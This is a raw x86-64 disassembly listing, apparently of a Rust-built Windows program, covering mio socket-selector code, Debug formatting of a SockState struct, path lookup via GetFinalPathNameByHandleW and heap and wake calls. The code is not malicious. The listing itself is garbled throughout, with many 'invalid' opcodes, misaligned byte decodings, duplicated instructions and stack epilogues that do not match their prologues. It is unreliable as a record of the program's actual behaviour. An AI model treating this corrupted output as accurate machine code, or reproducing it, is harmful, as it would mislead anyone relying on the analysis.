mov eax, dword [rdi + 0x28]
lea rdx, str.SockStateiosbpoll_infoafdbase_socketuser_evtspending_evtsuser_datapoll_statusdelete_pending_pinned
adc eax, 0xf5fe5
mov r8d, 9
call qword [rax + 0x18]
mov qword [rsp + 0x30], r15
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea r14, [0x1401152f8]
mov qword [rsp + 0x20], r14
lea rdx, [0x14013c709]
lea r15, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 4
mov r8d, 4
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
call fcn.140014510
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x20], esi
lea rdx, [0x14013c70d]
mov r8d, 9
mov rcx, r15
mov r9, rbx
call fcn.140014510
mov qword [rsp + 0x20], r14
lea rdx, [0x14013c716]
mov r8d, 3
mov rcx, r15
mov r9, rdi
call fcn.140014510
mov qword [rsp + 0x20], r14
lea rdx, [0x14013c719]
mov r8d, 0xb
mov rcx, r15
mov r9, rsi
call fcn.140014510
mov qword [rsp + 0x20], r14
lea rdx, [0x14013c724]
mov r8d, 9
mov rcx, r15
mov r9, rbp
call fcn.140014510
mov qword [rsp + 0x20], r14
lea rdx, [0x14013c72d]
mov r8d, 0xc
mov rcx, r15
lea r9, [rsp + 0x98]
call fcn.140014510
mov qword [rsp + 0x20], r14
lea rdx, [0x14013c739]
mov r8d, 9
mov rcx, r15
lea r9, [rsp + 0xa8]
call fcn.140014510
mov qword [rsp + 0x20], r14
lea rdx, [0x14013c742]
mov r8d, 0xb
mov eax, 0xb
mov eax, 0xb
mov rcx, r15
lea r9, [rsp + 0xb8]
call fcn.140014510
mov qword [rsp + 0x20], r14
je 0x14004685f
and byte [rax - 0x73], cl
adc eax, 0xf5f0a
je 0x14004685f
and byte [rax - 0x73], cl
adc eax, 0xf5f0a
mov r8d, 0xe
mov rcx, r15
lea r9, [rsp + 0xc8]
call fcn.140014510
mov qword [rsp + 0x20], r14
lea rdx, [0x14014a036]
lea edx, [0x14014a036]
mov r8d, 5
mov rcx, r15
mov r9, r13
call fcn.140014510
cld
dec dword [rcx + rcx*4 + 0x74]
mov dword [rsp + 0x20], esi
cld
dec dword [rcx + rcx*4 + 0x74]
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x20], esi
and byte [rax - 0x73], cl
lea rdx, [0x14013c75b]
adc eax, 0xf5ed9
sldt word [rcx - 0x48]
invalid
mov r8d, 7
mov rcx, r15
mov r9, r12
call fcn.140014510
movzx ecx, byte [rsp + 0x38]
cmp byte [rsp + 0x39], 0
cmp dword [rax], eax
cmp dword [rax], eax
je 0x1400468c7
sub byte [rax + 0x75c98401], dh
mov al, 1
test cl, cl
jne 0x1400468e6
invalid
mov rax, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
and al, 0x30
test byte [rax + 0x34], 4
jne 0x1400468ce
add al, 0x75
invalid
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
adc eax, 0xfe68a
adc eax, 0xfe68a
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
mov r8d, 2
jmp 0x1400468e3
test cl, cl
setne al
xchg ebp, eax
shr bl, 0x18
xchg ebp, eax
shr bl, 0x18
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
mov eax, 1
mov eax, 1
call qword [rax + 0x18]
nop
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test ecx, ecx
je 0x140046a0b
mov al, 1
test dl, dl
jne case.0x140018f24.1934
sal byte [rbp + 0x75], cl
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x1400469d0
cmp byte [rsp + 0x31], 0
je 0x1400469d0
and al, 0x31
add byte [rsi + riz - 0xa], dh
xor al, 4
test byte [rsi + 0x34], 4
jne 0x1400469d0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne case.0x140018f24.1934
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
mov eax, 1
mov eax, 1
add byte [rax], al
call qword [rax + 0x18]
jmp case.0x140018f24.1934
invalid
push rax
sbb bl, ch
and ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x105d4b
mov r8d, 4
add rsp, 0x40
pop rsi
jmp rax
invalid
loopne 0x140046995
mov eax, edx
rol byte [rax + rax*8 + 0x48c0950f], 1
test al, al
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
add esp, 0x40
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
add esp, 0x40
pop rsi
add esp, 0x40
pop rsi
ret
int3
int3
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x140046c50
mov eax, 0x81
sub rax, r9
sub eax, ecx
sub eax, ecx
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x140046c3f
call fcn.140012de0
nop
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
lea r8, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
int3
int3
or eax, 0x12f076
mov r8, qword [rcx + rax*8]
lea rcx, case.0x140046cd8.0
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
invalid
loope 0x140046ca8
int3
lahf
or dword [rax], eax
add bl, al
int3
int3
sub esp, 0x40
mov rsi, rdx
mov rax, qword [rcx]
add rax, 0x10
mov qword [rsp + 0x38], rax
and al, 0x38
adc byte [rax - 0x77], cl
and al, 0x38
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.Afdfd
mov r8d, 3
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x14013c408]
mov qword [rsp + 0x20], rax
lea rdx, [0x14013c403]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
mov r8d, 2
call fcn.140014510
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
je 0x140046d7a
mov al, 1
test cl, cl
je 0x140046d85
add rsp, 0x40
pop rsi
ret
test cl, cl
setne al
add rsp, 0x40
pop rsi
ret
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x140046da7
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
mov r8d, 2
jmp 0x140046dbc
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x40
pop rsi
ret
jae 0x140046f99
cmp r8, 0x201
jae 0x140046ed0
mov r15d, 0x200
lea r12, [rbp - 0x50]
mov r13, r8
jmp 0x140046f28
sub r8, r14
sub rdi, r14
cmp rdi, r8
jae 0x140046eff
lea rcx, [rbp + 0x418]
mov rdx, r14
call fcn.140110490
mov rsi, qword [rbp + 0x418]
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x400], rax
mov eax, 0xffffffff
cmp rsi, rax
mov r14d, 0xffffffff
cmovb r14, rsi
test byte [rcx + r9*4 - 0x4b], 0x28
add al, 0
add byte [rax - 0x77], cl
test dword [rbp - 0x77], 0xa58b4cf7
add byte [rax + rax], al
add byte [rbp - 0x77], cl
mov ebp, esi
test byte [rcx + r9*4 - 0x4b], 0x28
add al, 0
add byte [rax - 0x77], cl
test dword [rbp - 0x77], 0xa58b4cf7
add byte [rax + rax], al
add byte [rbp - 0x77], cl
mov ebp, esi
mov ebp, esi
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x3d8]
mov rdx, r12
mov r8d, r13d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFinalPathNameByHandleW]
mov ebx, eax
test eax, eax
jne 0x140046f5a
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400470a1
mov r8d, ebx
cmp r13, r8
jne 0x140046eb0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne case.0x140031ef2.1351
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x140046ebf
jmp 0x140046ed0
cmp r15, r8
jb 0x140047128
lea rcx, [rbp + 0x3b8]
mov rdx, r12
call fcn.1400d7a00
movups xmm0, xmmword [rbp + 0x3b8]
add eax, dword [rax]
add byte [rdi], cl
adc byte [rbp + 0x3c8], cl
invalid
enter 3, 0
add eax, dword [rax]
add byte [rdi], cl
adc byte [rbp + 0x3c8], cl
invalid
enter 3, 0
invalid
movaps xmmword [rbp + 0x3f0], xmm1
movaps xmmword [rbp + 0x3e0], xmm0
cmp qword [rbp + 0x418], 0
cmp dword [rbp + 0x418], 0
cmp dword [rbp + 0x418], 0
je 0x140046fed
mov r8, qword [rbp + 0x420]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x3e0], rax
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x85
loopne 0x140046fff
add byte [rax], al
jne 0x14004700e
invalid
lea rcx, [rbp + 0x3e8]
call fcn.1400d3380
jmp 0x140047067
pop rcx
invalid
pop rcx
movaps xmm0, xmmword [rbp + 0x3e0]
movaps xmm1, xmmword [rbp + 0x3f0]
sub byte [rbp + 0x3f0], cl
sub byte [rbp + 0x3f0], cl
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
lea rax, [0x140149bd0]
mov qword [rsp + 0x20], rax
lea rdx, [0x14014b16c]
adc eax, 0x104135
adc eax, 0x104135
lea rcx, [rbp + 0x408]
lea r9, [rbp - 0x50]
mov r8d, 4
add byte [rax], al
invalid
add byte [rax], al
add al, ch
invalid
ret
call fcn.140014510
cmp qword [rbp - 0x50], 0
je 0x140047067
mov r8, qword [rbp - 0x48]
mov rcx, qword [0x140182260]
or eax, 0x13b201
mov eax, 0x10d8b48
mov dl, 0x13
adc eax, dword [rax]
invalid
or eax, 0x13b201
adc eax, dword [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
stc
ret 0xc
invalid
sar bh, cl
adc eax, 0xcc2f9
stc
ret 0xc
invalid
stc
ret 0xc
invalid
add byte [rax + 0x411bd], al
cmp byte [rbp + 0x411], 0
adc dword [rax + rax], eax
add byte [rax], al
movzx ecx, byte [rbp + 0x410]
je case.0x140031ef2.1361
mov al, 1
test cl, cl
jne 0x1400470f9
mov rax, qword [rbp + 0x408]
test byte [rax + 0x34], 4
jne 0x1400470e1
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
mov r8d, 2
jmp 0x1400470f6
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3e8], rax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x1f7a76b8], al
add eax, dword [rax]
add byte [rax - 0x7d], cl
mov ebp, 0x418
add byte [rdi], cl
test dword [rdx], eax
invalid
invalid
invalid
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x1f7a76b8], al
add eax, dword [rax]
add byte [rax - 0x7d], cl
mov ebp, 0x418
add byte [rdi], cl
test dword [rdx], eax
invalid
jmp 0x140046fed
test cl, cl
setne al
xchg ebp, eax
shr bl, 0x18
xchg ebp, eax
shr bl, 0x18
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
invalid
adc byte [rax], al
invalid
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x4b8
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
insb byte [rdi], dx
adc byte [r8], r8b
invalid
movabs dword [0x476c058d4c001051], eax
adc byte [rax], al
invalid
add byte [rbp + rcx*4 + 5], cl
insb byte [rdi], dx
adc byte [r8], r8b
invalid
add byte [rdx + 0x28], bh
mov edx, 0x28
add byte [rax], al
add al, ch
call fcn.140108630
jmp 0x14004713d
call fcn.140108630
or al, 0
jmp 0x14004713d
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.140108620
ud2
nop
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x418], 0
je 0x14004717c
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x418
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x420]
mov r8, qword [rbp + 0x420]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 0xe0
nop word cs:[rax + rax]
movups xmmword [rsp + rax - 0x94], xmm6
movups xmmword [rsp + rax - 0xa0], xmm6
movups xmmword [rsp + rax - 0x80], xmm6
movups xmmword [rsp + rax - 0x74], xmm6
movups xmmword [rsp + rax - 0x60], xmm6
movups xmmword [rsp + rax - 0x54], xmm6
movups xmmword [rsp + rax - 0x40], xmm6
movups xmmword [rsp + rax - 0x34], xmm6
movups xmmword [rsp + rax - 0x20], xmm6
movups xmmword [rsp + rax - 0x14], xmm6
movups xmmword [rsp + rax], xmm6
movups xmmword [rsp + rax + 0xc], xmm6
movups xmmword [rsp + rax + 0x20], xmm6
movups xmmword [rsp + rax + 0x2c], xmm6
movups xmmword [rsp + rax + 0x4c], xmm6
sub al, 0xf
adc dword [rsp + rax + 0x4c], esi
movups xmmword [rsp + rax + 0x40], xmm6
add rax, 0x100
cmp rax, 0x80e0
jne 0x140047270
mov rax, qword [rsi]
mov rcx, qword [rax + 0x10]
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rdx, rdi
mov r8d, 0x400
mov r9, rbx
call r15
test eax, eax
je 0x140047373
mov r14d, dword [rsp + 0x38]
cmp r14, 0x401
add dword [rax + rax], eax
add byte [rdi], cl
invalid
xchg dword [rax], eax
add byte [rax], al
add dword [rax + rax], eax
add byte [rdi], cl
add dword [rdi + 0x45000000], 0xffffff85
div byte [rbp + rbx*2 + 0x49]
shl esi, 5
test r14d, r14d
je 0x140047379
shl r14, 5
xor r12d, r12d
jmp 0x140047342
xor edx, edx
call qword [rax + 0x20]
add r12, 0x20
cmp r14, r12
je 0x140047260
mov rax, qword [rsp + r12 + 0x48]
test rax, rax
je 0x140047335
lea rcx, [rsp + r12]
or al, 0x24
add rcx, 0x40
test byte [rcx], 1
jne 0x140047330
lea rcx, [rax - 0x10]
lea ecx, [rax - 0x10]
mov qword [rsp + 0x38], rcx
lock dec qword [rax - 0x10]
jne 0x140047335
mov rcx, rbx
call fcn.1400e4e50
fimul dword [rcx]
add bl, ch
invalid
fimul dword [rcx]
add bl, ch
ret 0x15ff
call qword [sym.imp.kernel32.dll_GetLastError]
add rsi, 8
mov rcx, rsi
call fcn.1400461c0
movaps xmm6, xmmword [rsp + 0x8040]
add rsp, 0x8058
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, [0x14013c218]
mov edx, 0x400
mov rcx, r14
call fcn.140108620
int3
jae 0x1400473f1
invalid
int3
int3
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
xor eax, eax
test r9b, 1
mov ebx, 0x89
cmove ebx, eax
lea rcx, [rdx + 0x10]
mov r10b, 1
xor eax, eax
lock cmpxchg byte [rdx + 0x10], r10b
add byte [rdi], cl
fmul dword [rax - 0x73]
fmul dword [rax - 0x73]
adc byte [rcx - 0x4e], al
add dword [rcx], esi
sal al, 0x44
cmpxchg byte [rdx + 0x10], dl
adc byte [rdi], cl
test dword [rsi + 0x48000000], ebx
mov rax, qword [0x140182308]
jne 0x140047490
sahf
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [0x140182308]
add eax, 0x13af0f
scasd eax, dword [rdi]
adc eax, dword [rax]
shl rax, 1
shl eax, 1
test rax, rax
test eax, eax
jne 0x1400474c0
test dword [rbx + 0x31000000], edi
add byte [rax], al
add byte [rcx], dh
xor eax, eax
movzx r10d, byte [rdx + 0x11]
test r10b, r10b
jne 0x1400474ed
rol byte [rdi + rcx - 0x4a], 0x52
adc dword [rbp - 0x7c], eax
ror byte [rdi], cl
test eax, ebx
add byte [rax], al
add byte [rbp], al
add cl, cl
add r9b, r9b
add cl, cl
and r9b, 4
movzx r9d, r9b
mov dh, 0xc9
mov dh, 0xc9
add r9d, ebx
add r9d, 0x110
mov dword [rdx + 0x68], r9d
mov qword [rdx + 0x60], r8
test al, al
jne 0x140047449
invalid
adc ecx, dword [rax - 0x75]
add eax, 0x13aecb
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14004751f
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14004745d
mov rdi, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdx, rdi
mov rcx, rsi
call fcn.140047550
movzx eax, byte [rsi + 0x58]
test al, al
je 0x140047481
mov rcx, rsi
add rsp, 0x38
pop rbx
pop rbp
cmp byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
jmp fcn.140045840
xor eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdi, rcx
mov r14, rdx
mov r15, r8
mov edi, eax
mov edi, eax
mov ebp, r9d
mov ebp, ecx
call fcn.140110530
mov r9d, ebp
invalid
mov r8, r15
clc
invalid
add byte [rcx - 0x77], al
jmp 0x188fcfdf5
clc
mov rcx, rdi
stc
mov rdx, r14
mov rax, qword [0x140182308]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140047405
mov rdi, rdx
mov r15, rcx
mov r14, r8
mov ebp, r9d
call fcn.1401105f0
mov r9d, ebp
mov r8, r14
mov rcx, r15
mov rdx, rdi
xor al, 1
movzx r10d, byte [rdx + 0x11]
test r10b, r10b
je 0x140047415
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x30], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013c0c0]
lea r8, [rsp + 0x28]
mov edx, 0x2b
add byte [rax], al
add byte [rax], al
call fcn.1401088e0
rcl dword [rbx], 0xc
add byte [rax - 0x77], cl
mov rdi, rdx
xlatb
mov rbx, rcx
call fcn.1401105f0
mov rcx, rbx
mov rdx, rdi
test al, al
jne 0x140047449
retf
mov byte [rdx + 0x11], 1
jmp 0x140047449
invalid
invalid
invalid
int3
int3
int3
int3
int3
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rbx, rdx
mov rdi, rcx
lea rsi, [rcx + 0x30]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x30], cl
jne 0x14004760f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14004762a
xor ebp, ebp
movzx eax, byte [rdi + 0x31]
test al, al
jne 0x140047641
mov rcx, qword [rdi + 0x38]
mov rax, qword [rdi + 0x50]
cmp rax, rcx
jne 0x1400475b0
lea rcx, [rdi + 0x38]
call fcn.140046420
mov rcx, qword [rdi + 0x38]
mov rax, qword [rdi + 0x50]
mov rdx, qword [rdi + 0x48]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rdi + 0x40]
mov qword [rcx + rdx*8], rbx
inc rax
mov qword [rdi + 0x50], rax
test bpl, bpl
jne 0x1400475eb
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140047674
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140047605
mov rcx, rsi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, rsi
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140047584
call fcn.1401105f0
mov ebp, eax
xor bpl, 1
movzx eax, byte [rdi + 0x31]
test al, al
je 0x140047592
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013c080]
lea r8, [rsp + 0x28]
mov edx, 0x2b
call fcn.1401088e0
call fcn.1401105f0
test al, al
jne 0x1400475eb
mov byte [rdi + 0x31], 1
jmp 0x1400475eb
add byte [rax - 0x7d], cl
invalid
je 0x1400476c7
lock dec qword [rsi + 8]
jne 0x1400476c7
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
xor al, 0xf6
rcl dword [rax], 0xf
adc byte [rdi], cl
test edi, ebx
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
test dword [rax], ebp
add dword [rax], eax
add byte [rcx - 0x77], cl
ror byte [rbx + rcx*4], cl
sub byte [rcx], al
add byte [rax], al
mov r10, rdx
mov r8, qword [rax]
mov rcx, r8
neg rcx
cmovs rcx, r8
mov eax, 0x27
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp rcx, 0x2710
jb 0x1400478a6
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
nop word [rax + rax]
mov rax, rcx
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r9 + rbx*2]
mov word [rsp + rsi + 0x2c], bx
movzx edi, word [r9 + rdi*2]
mov word [rsp + rsi + 0x2e], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140047730
cmp rdx, 0x63
jbe 0x1400477ac
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r11d, ecx, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r10
cmp rdx, 0xa
jae 0x1400478b8
or cl, byte [rdi]
cmp edi, 0
add byte [rax], al
or dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp 0x1400478c6
mov eax, dword [rax]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x2e], r10b
rol dword [rax + r9*4 + 0x54], 1
or al, 0x2e
mov byte [rsp + rcx + 0x2e], dl
lea r9, cs:[rcx - 1]
lea r9, [rcx - 1]
dec qword [r8 - 0x7d]
clc
adc byte [rcx + rcx*4 - 0x40], cl
cmp rax, 0x10
cmp eax, 0x10
mov rax, r8
jae 0x1400477e0
jmp 0x140047868
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
add byte [rax], al
mov rcx, r9
mov ecx, ecx
shr r8, 4
shr eax, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x2e], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x140047830
cmovne ecx, dword [rbp - 0x72bacfaf]
push rcx
xor byte [rbp - 0x73], al
pop rcx
invalid
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x140047901
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400478f0
mov rdx, rcx
cmp rdx, 0x63
ja 0x140047782
jmp 0x1400477ac
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
test r8, r8
setns dl
lea r8, [rsp + rax]
add r8, 0x30
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r8
mov r8d, 1
xor r9d, r9d
call fcn.140012de0
nop
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
lea r8, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
int3
lea rax, [0x14013c408]
mov qword [rsp + 0x20], rax
str word [rax - 0x77]
and al, 0x20
lea rdx, [0x14013c403]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
mov r8d, 2
call fcn.140014510
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
and al, 0x30
and al, 0x30
je 0x140047f2d
mov al, 1
test cl, cl
je 0x140047f38
add dword [rcx + rcx*8 - 0x7cb7ee8c], eax
invalid
add rsp, 0x40
pop rsi
pop rsi
ret
test cl, cl
leave
setne al
add rsp, 0x40
pop rsi
ret
mov rax, qword [rsp + 0x28]
and al, 0x28
test byte [rax + 0x34], 4
jne case.0x140036870.317
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144f49]
invalid
iretd
invalid
invalid
test edi, 0xb841000f
add al, byte [rax]
add byte [rax], al
mov r8d, 2
jmp 0x140047f6f
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
mov eax, 1
mov eax, 1
call qword [rax + 0x18]
nop
add rsp, 0x40
invalid
sbb byte [rax + 0x40c48348], dl
pop rsi
pop rsi
ret
int3
mov byte [rsp + 0x39], 0
mov bl, 1
xor eax, eax
lock cmpxchg byte [rsi], bl
add byte [rbx - 0xf3fceff], dh
cmpxchg byte [rsi], bl
jne 0x140048031
mov rax, qword [0x140182308]
mov eax, dword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140048160
movzx ecx, byte [rsi + 1]
lea rax, [rsi + 8]
test cl, cl
mov qword [rsp + 0x40], rax
lea rax, [0x14013c120]
add qword [rax - 0x73], r9
or byte [rcx + r9*8 + 0x24448948], r8b
lea rax, [0x14013c120]
mov qword [rsp + 0x20], rax
lea rdx, [0x14013c115]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x40]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
call fcn.140014510
test bl, bl
je 0x14004801e
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14004816c
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14004807f
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add bl, ch
invalid
add bl, ch
lea rax, str._locked__
lea rax, str._locked__
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x48], 1
mov dword [rsp + 0x48], 1
add byte [rax - 0x39], cl
and al, 0x50
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x58], xmm0
adc dword [rsp + 0x58], eax
pop rax
lea rax, [0x14013c158]
add eax, 0xf40fa
str word [rax - 0x77]
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, [0x14013c115]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x40]
mov r8d, 4
add byte [rax], al
invalid
add byte [rax], al
add al, ch
invalid
xchg ecx, eax
invalid
call fcn.140014510
cld
dec dword [rdi]
movzx eax, byte [rsi + 1]
mov dh, 0x46
add dword [rax + rax*8 + 0x2444950f], eax
test al, al
setne byte [rsp + 0x40]
